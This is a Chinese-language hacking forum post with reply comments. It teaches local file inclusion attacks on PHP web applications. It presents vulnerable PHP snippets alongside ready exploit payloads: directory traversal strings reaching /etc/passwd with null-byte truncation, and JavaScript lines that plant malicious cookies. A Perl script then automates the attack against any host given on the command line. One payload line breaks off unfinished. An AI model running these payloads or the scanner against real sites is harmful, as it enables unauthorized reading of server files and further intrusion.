查看: 3067|回复: 25

基于Web服务的攻击脚本

[复制链接]
发表于 2012-12-1 05:36:04 | 显示全部楼层 |阅读模式
==> [ 0x01 .-本地文件共享 ]让我们看看有多少方法可以带来这些不同的程序、不同的行动,这是我们追求:
开放的心态。
[代码 #1]
x:  >...
if (isset($_GET["mode"]))
  {
    if ($_GET["mode"]=="edit")
  {
   if (isset($_GET['id']))
   {
     $notefile = $_GET['id'];
   if ($notefile == "new")
   {
    $title = "";
    $notes = "";
   }
   else
   {
    $temp = "notes/" . $notefile;
    require($temp);
   }
x:  <...
x: }}}
[ 结束代码 # 1 ]
这是最简单的例子,我们将拭目以待。正如我们没有太多很难理解它们的行为。
Exploit:
?mode=edit&id=../../../../../../../../../../etc/passwd
$temp = "notes/" . $notefile . ".php";
该漏洞将有一个“NULL字节”(%00h)结束连接。
Exploit:
?mode=edit&id=../../../../../../../../../../etc/passwd%00
~~~~~~~~~~~~~~~~~~~~~~~~~
我们进入第2个例子。代码很容易,不安全的Cookie处理。我想你们可能会问:是否在一个安全漏洞处理?我在这儿告诉你,没有!让我们看看一个例子。
[代码 #2]
if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){
$_SESSION['language'] = $_COOKIE['language'];
}
....
if(LANG == ""){
if(!isset($_SESSION['language'])){
  include("lang/english/lang.php");
  $_LANG = "english";
} else {
  include("lang/".$_SESSION['language']."/lang.php");
  $_LANG = $_SESSION['language'];
}
... }
[结束代码 #2]
Exploit:
javascript:document.cookie="language=../../../../../../../../../../etc/passwd%00; path=/";
正如我们看到的,我们必须添加NULL字节(%00h),为什么要这么做,这为了避免目录遍历。
~~~~~~~~~~~~~~~~~~~~~~~~
这个例子的情况非常相似例子2,只有这个时候我们有一个入侵者的函数'explode'的PHP。开放的心态,并认为想一个Hacker。
[代码 #3]
x:  >...
if (isset($HTTP_COOKIE_VARS["userInfo"]) && $HTTP_COOKIE_VARS["userInfo"] != "") {
$userArray = explode(" ", $HTTP_COOKIE_VARS["userInfo"]);
$userName = $userArray[0];
$userID = $userArray[1];
$userLang = $userArray[2];
include("include/lang/$userLang/inc.messages.php");
}
x:  <...
[结束代码 #3]
你应该知道,"$HTTP_COOKIE_VARS"还可以操纵用户,而不是“$ _COOKIE”打开...
概念验证(函数 'explode' PHP):
1)
String = JosS;
[0] = JosS;
[1] = ;
[2] = ; ---> INCLUDE
2)
String = JosS JosS JosS;
[0] = JosS;
[1] = JosS;
[2] = JosS; ---> INCLUDE
Exploit:
javascript:document.cookie="userInfo=JosS JosS ../../../../etc/passwd%00; path=/";
~~~~~~~~~~~~~~~~~~~~~~~~~~~
对于第4个例子也是最后一个例子,它的情况类似例子1,我们要利用'IF GETS' 更大的脆弱性来处理Cookie。
[代码 #4]
x:  >...
if (isset($_GET["mode"]))
  {
    if ($_GET["mode"]=="edit")
  {
   if (isset($_GET['id']))
   {
     $notefile = $_COOKIE['note'];
   if ($notefile == "new")
   {
    $title = "";
    $notes = "";
   }
   else
   {
    $temp = "notes/" . $notefile;
    require($temp);
   }
x:  <...
x: }}}
[结束代码 #4]
我不会一步一步地解释这个代码。我们必须牢记我们的'$_COOKIE'
我们必须给予'IF'帮助我们,包括我们的'cookie'。因此,我们来利用这两个漏洞。
Exploit 1:
javascript:document.cookie="note=../../../../../../../../../../etc/passwd; path=/";
Exploit 2: ?mode=edit&id
==> [ 0x02.- Exploits ]

我要把它称为“自动化”,因为它们什么也不做更简化该进程并让用户感到舒适。例子是Perl编程,因为对这些案件对常用。让我们来看看代码。
[代码 #1]
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
if (!$ARGV[0])
{
print "Usage: perl xpl.pl [HOST]\n";
print "Example: perl xpl.pl http://localhost/path/\n";
}
else
{
$web=$ARGV[0];
chomp $web;
$iny="vuln.php?vuln=../../../../../../../../../../../../../../../../etc/passwd%00";
my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;
if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}}
[结束代码 #1]
该Exploit非常简单,没有太多的未解之谜。我们使用了模块'LWP'使我们连接到Web。

发表于 2012-12-5 02:30:29 | 显示全部楼层
不要等到人人都说你丑时才发现自己真的丑。  
发表于 2012-12-5 06:33:54 | 显示全部楼层
说的真有道理啊!
发表于 2012-12-5 20:03:16 | 显示全部楼层
不错,看看。  
发表于 2012-12-5 20:22:29 | 显示全部楼层
我的啦嘿嘿  
发表于 2012-12-12 22:12:00 | 显示全部楼层
#无语  
发表于 2012-12-15 02:08:35 | 显示全部楼层
挺好啊  
发表于 2012-12-15 21:41:52 | 显示全部楼层
我来看看!谢谢  
发表于 2015-1-26 01:48:31 | 显示全部楼层
不错,看看。  
发表于 2015-2-28 02:53:20 | 显示全部楼层
你加油吧  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则